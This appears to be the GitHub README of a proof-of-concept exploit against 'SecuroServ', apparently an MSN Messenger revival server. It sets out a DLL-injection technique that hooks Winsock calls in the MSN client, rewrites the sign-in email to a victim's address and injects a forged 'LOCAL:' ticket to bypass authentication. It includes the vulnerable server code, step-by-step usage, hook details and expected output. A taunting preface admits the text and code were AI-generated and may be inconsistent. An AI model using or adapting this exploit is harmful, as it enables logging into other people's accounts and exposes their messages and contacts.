"SecuroServ" TWN auth impersonation exploit PoC
- C 50.3%
- C++ 49.7%
| Filename | Latest commit message | Latest commit date |
|---|---|---|
| .gitignore | ||
| detours.h | ||
| detours.lib | ||
| detver.h | ||
| dllmain.cpp | ||
| framework.h | ||
| hooks.cpp | ||
| hooks.h | ||
| msnp_target_email.txt | ||
| pch.cpp | ||
| pch.h | ||
| README.md | ||
| slopconnected.slnx | ||
| slopconnected.vcxproj | ||
| slopconnected.vcxproj.filters | ||
| slopconnected.vcxproj.user | ||
SecuroServ MSNP8 TWN LOCAL: Auth Impersonation Exploit
Preface
Everything written below was made by AI, along with the exploit PoC code itself. I wanted to show that whoever wrote this code writes worse code then AI and that they should never be allowed near any kind of production systems with sensitive user data. Any readme inconsistencies and shit code are because of AI. I don't care actually, ggez +rep thx for free elo <3
Overview
This PoC demonstrates a critical authentication bypass in MSNP7SecuroServ using a Winsock DLL injection technique.
Vulnerability
Function: HandleTWNTicket() (lines 2143-2188)
Root Cause: LOCAL: ticket type only validates email string match, no cryptographic verification
bool flag3 = ticket.StartsWith("LOCAL:", StringComparison.OrdinalIgnoreCase);
if (flag3)
{
string text = ticket.Substring(6).Trim();
bool flag4 = string.Equals(text, c.Email, StringComparison.OrdinalIgnoreCase);
if (flag4)
{
Program.AuthenticateNotification(c, account); // FULL AUTH BYPASS
}
}
Exploit Flow
- CVR Rewrite - Intercepts
CVR <trid> ... <clientname> <attacker@email>→ rewrites email to victim - TWN I Rewrite - Intercepts
USR <trid> TWN I <attacker@email>→ rewrites email to victim - Fast-Path Challenge Detection - On
WSARecvreturn, scans raw buffer forUSR <trid> TWN S <challenge> - LOCAL: Injection - Immediately injects
USR <trid> TWN S LOCAL:<victim@email>using SAME TRID - SYN TRID Fix - Rewrites server's
SYN 0 0→SYN <client_trid> 0to match client's SYN - CHG NLN Auto-Send - After SYN handshake, sends
CHG <trid+1> NLNto trigger presence sync (fixes the client getting stuck)
Quick Test Setup
Prerequisites
- Target MSNP server running on port 1863 with MSNP8/TWN support
- Test account with
AuthMode = "MSNP8"or"AUTO"
Step 1: Start Target MSNP Server
# On the SecuroServ machine (or any vulnerable MSNP server)
# Create test account with MSNP8 auth mode:
MSNP7SecuroServ.exe --account [email protected] --MSNP8Mode password123
# Start server
MSNP7SecuroServ.exe
Step 2: Real MSN Messenger Test
# Start MSN Messenger (msnmsgr.exe)
# Type victim email in sign-in box (e.g., [email protected])
# Inject DLL
Use any injector you like such as Process Hacker 2 or Xenos
Configuration
The DLL reads the target email from:
- Config file (primary):
A:\slopconnected\msnp_target_email.txt - Environment variable (fallback):
MSNP_TARGET_EMAIL
Expected Output
DLL Console (Debug Output)
[EXPLOIT] InitializeTargetEmail: reading config...
[EXPLOIT] Target email from config: [email protected]
[EXPLOIT] Connected to MSNP port 1863 (socket=X, idx=0), monitoring for TWN auth
[EXPLOIT] Rewrote CVR email to: [email protected]
[EXPLOIT] Rewrote TWN I email to: [email protected]
[EXPLOIT] *** FAST CHALLENGE DETECTED IN BUFFER ***
[EXPLOIT] *** FAST INJECT *** Sending: USR 4 TWN S LOCAL:[email protected]
[EXPLOIT] LOCAL: ticket injected successfully!
[EXPLOIT] Fixing SYN response: was SYN 0, rewriting to SYN 7 0
[EXPLOIT] SYN handshake done, sending CHG NLN: CHG 8 NLN
[EXPLOIT] Authentication successful! Exploit completed.
Technical Details
Hook Flow
1. HookedConnect() → Detects port 1863 → Marks socket for monitoring, tracks client SYN TRID
2. HookedSend() → Parses outgoing MSNP lines
- Detects "CVR ... <email>" → Rewrites email to victim (10th field)
- Detects "USR <trid> TWN I <email>" → Rewrites email to victim, sets waitingForChallenge=true
3. HookedWSARecv() → FAST-PATH: Scans raw buffer for "USR <trid> TWN S <challenge>"
- If waitingForChallenge && exploitSent=false → Injects LOCAL: ticket with SAME TRID
4. HookedRecv() → Parses lines for SYN/USR/CHG
- Tracks client SYN TRID: "SYN <trid> 0"
- Fixes SYN response: "SYN 0 0" → "SYN <client_trid> 0"
- After SYN handshake: Auto-sends "CHG <trid+1> NLN" to complete sign-in